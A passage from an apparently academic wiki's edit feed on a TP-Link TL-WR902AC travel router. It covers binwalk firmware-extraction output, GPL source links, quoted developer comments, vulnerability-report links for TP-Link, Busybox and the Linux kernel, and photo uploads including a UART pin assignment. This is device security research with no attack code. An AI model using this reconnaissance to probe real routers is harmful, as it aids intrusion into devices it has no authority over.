82384         0x141D0         U-Boot version string, &amp;quot;U-Boot 1.1.3 (Oct 18 2019 - 09:12:58)&amp;quot;&lt;br /&gt;
132096        0x20400         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3634292 bytes&lt;br /&gt;
1442304       0x160200        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 6375860 bytes, 759 inodes, blocksize: 131072 bytes, created: 2019-10-18 01:32:50&lt;br /&gt;
&lt;br /&gt;
Extracting 1442304 bytes of  header image at offset 0&lt;br /&gt;
Extracting squashfs file system at offset 1442304&lt;br /&gt;
Extracting squashfs files...&lt;br /&gt;
Firmware extraction successful!&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;GPL Code&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 20px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Hardware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/resources/gpl/gpl_902acv1_eu.tar.gz V1], [https://static.tp-link.com/resources/gpl/GPL_WR902AC_NEW.tar.gz V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: [https://www.tp-link.com/at/support/gpl-code/ GPL-Code-Center]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Had a bad day? Try some developer notes! 谢谢！&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Developer notes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;C&amp;quot;&amp;gt;/* Find it out, where you are? ^_^, update config first */&lt;br /&gt;
&lt;br /&gt;
/* Bug ^_^ be careful */&lt;br /&gt;
&lt;br /&gt;
/* Do not care about the others now */&lt;br /&gt;
default:&lt;br /&gt;
	DEBUG(&amp;quot;we don&#039;t care it,^_^!&amp;quot;);&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* &lt;br /&gt;
 * brief: just rebuild all ,so what about big big disk? just pray ^_^&lt;br /&gt;
 *		  maybe use sqlite... in the future.&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
/* Do it again and again are you tired ^_^? */&lt;br /&gt;
&lt;br /&gt;
/* For passing test, and let the customer be happy, we ... ^_^, it is not so bad */&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;TP-Link&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;TP-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/ (accessed 20 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/ (accessed 20 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Awards&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/press/award/ (accessed 20 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TP-Link TL-WR902AC: AC750 Wifi - Travel Router&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Product&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ (accessed 20 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/home-networking/wifi-router/tl-wr902ac/ (accessed 19 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Support&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/support/download/tl-wr902ac/ (accessed 20 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/support/download/tl-wr902ac/ (accessed 20 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Datasheet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://static.tp-link.com/TL-WR902AC.pdf (accessed 19 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TP-Link TL-WR802N: 300Mbps Wireless N - Nano Router&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Product&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/home-networking/wifi-router/tl-wr802n/ (accessed 24 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/home-networking/wifi-router/tl-wr802n/ (accessed 24 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Support&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/support/download/tl-wr802n/ (accessed 24 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/support/download/tl-wr802n/ (accessed 24 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Datasheet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://static.tp-link.com/2018/201810/20181022/TL-WR802N(EU&amp;amp;US)%204.0-datasheet.pdf (accessed 24 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Other&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Dropbear Configuration&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://openwrt.org/docs/guide-user/base-system/dropbear (accessed 28 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Vulnerability Reports&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;TL-WR840N (1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.cvedetails.com/cve/CVE-2019-15060/&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Busybox 1.19.2 (5)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://www.cvedetails.com/version/129256/Busybox-Busybox-1.19.2.html https://www.cvedetails.com] (accessed 1 July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Linux 2.6.36 (233)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://www.cvedetails.com/vulnerability-list/vendor_id-33/product_id-47/version_id-123837/Linux-Linux-Kernel-2.6.36.html https://www.cvedetails.com] (accessed 1 July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;TP-Link (123)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://www.cvedetails.com/vulnerability-list.php?vendor_id=11936&amp;amp;product_id=0&amp;amp;version_id=0&amp;amp;page=1&amp;amp;hasexp=0&amp;amp;opdos=0&amp;amp;opec=0&amp;amp;opov=0&amp;amp;opcsrf=0&amp;amp;opgpriv=0&amp;amp;opsqli=0&amp;amp;opxss=0&amp;amp;opdirt=0&amp;amp;opmemc=0&amp;amp;ophttprs=0&amp;amp;opbyp=0&amp;amp;opfileinc=0&amp;amp;opginf=0&amp;amp;cvssscoremin=0&amp;amp;cvssscoremax=0&amp;amp;year=0&amp;amp;cweid=0&amp;amp;order=1&amp;amp;trc=123&amp;amp;sha=35781d9525571cd66feb101a1896e97c0bad1d33 https://www.cvedetails.com] (accessed 1 July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[[TP-Link TL-WR902AC: AC750 Wifi - Travel Router]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[[TP-Link TL-WR802N: 300Mbps Wireless N - Nano Router]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR802N_V4_PCB_in_Case.jpg&amp;diff=4345</id>
		<title>File:TL-WR802N V4 PCB in Case.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR802N_V4_PCB_in_Case.jpg&amp;diff=4345"/>
		<updated>2020-07-02T16:14:38Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR802N_V4_PCB_Back.jpg&amp;diff=4344</id>
		<title>File:TL-WR802N V4 PCB Back.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR802N_V4_PCB_Back.jpg&amp;diff=4344"/>
		<updated>2020-07-02T16:14:24Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR802N_V4_PCB_Front.jpg&amp;diff=4343</id>
		<title>File:TL-WR802N V4 PCB Front.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR802N_V4_PCB_Front.jpg&amp;diff=4343"/>
		<updated>2020-07-02T16:14:15Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case.png&amp;diff=4342</id>
		<title>File:TL-WR902AC V3 Case.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case.png&amp;diff=4342"/>
		<updated>2020-07-02T15:55:08Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: JPDoe uploaded a new version of File:TL-WR902AC V3 Case.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case_top.png&amp;diff=4341</id>
		<title>File:TL-WR902AC V3 Case top.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case_top.png&amp;diff=4341"/>
		<updated>2020-07-02T15:54:38Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: JPDoe uploaded a new version of File:TL-WR902AC V3 Case top.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case_bottom.png&amp;diff=4340</id>
		<title>File:TL-WR902AC V3 Case bottom.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case_bottom.png&amp;diff=4340"/>
		<updated>2020-07-02T15:53:56Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: JPDoe uploaded a new version of File:TL-WR902AC V3 Case bottom.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_PCB_Front.png&amp;diff=4339</id>
		<title>File:TL-WR902AC V3 PCB Front.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_PCB_Front.png&amp;diff=4339"/>
		<updated>2020-07-02T15:53:17Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_PCB_Back.png&amp;diff=4338</id>
		<title>File:TL-WR902AC V3 PCB Back.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_PCB_Back.png&amp;diff=4338"/>
		<updated>2020-07-02T15:51:52Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case.png&amp;diff=4337</id>
		<title>File:TL-WR902AC V3 Case.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case.png&amp;diff=4337"/>
		<updated>2020-07-02T15:47:42Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_PCB_in_Case.png&amp;diff=4336</id>
		<title>File:TL-WR902AC V3 PCB in Case.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_PCB_in_Case.png&amp;diff=4336"/>
		<updated>2020-07-02T15:46:48Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case_top.png&amp;diff=4335</id>
		<title>File:TL-WR902AC V3 Case top.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case_top.png&amp;diff=4335"/>
		<updated>2020-07-02T15:44:52Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case_bottom.png&amp;diff=4334</id>
		<title>File:TL-WR902AC V3 Case bottom.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_Case_bottom.png&amp;diff=4334"/>
		<updated>2020-07-02T15:44:23Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_UART_Pin_assignment.jpg&amp;diff=4333</id>
		<title>File:TL-WR902AC V3 UART Pin assignment.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TL-WR902AC_V3_UART_Pin_assignment.jpg&amp;diff=4333"/>
		<updated>2020-07-02T15:29:24Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
</feed>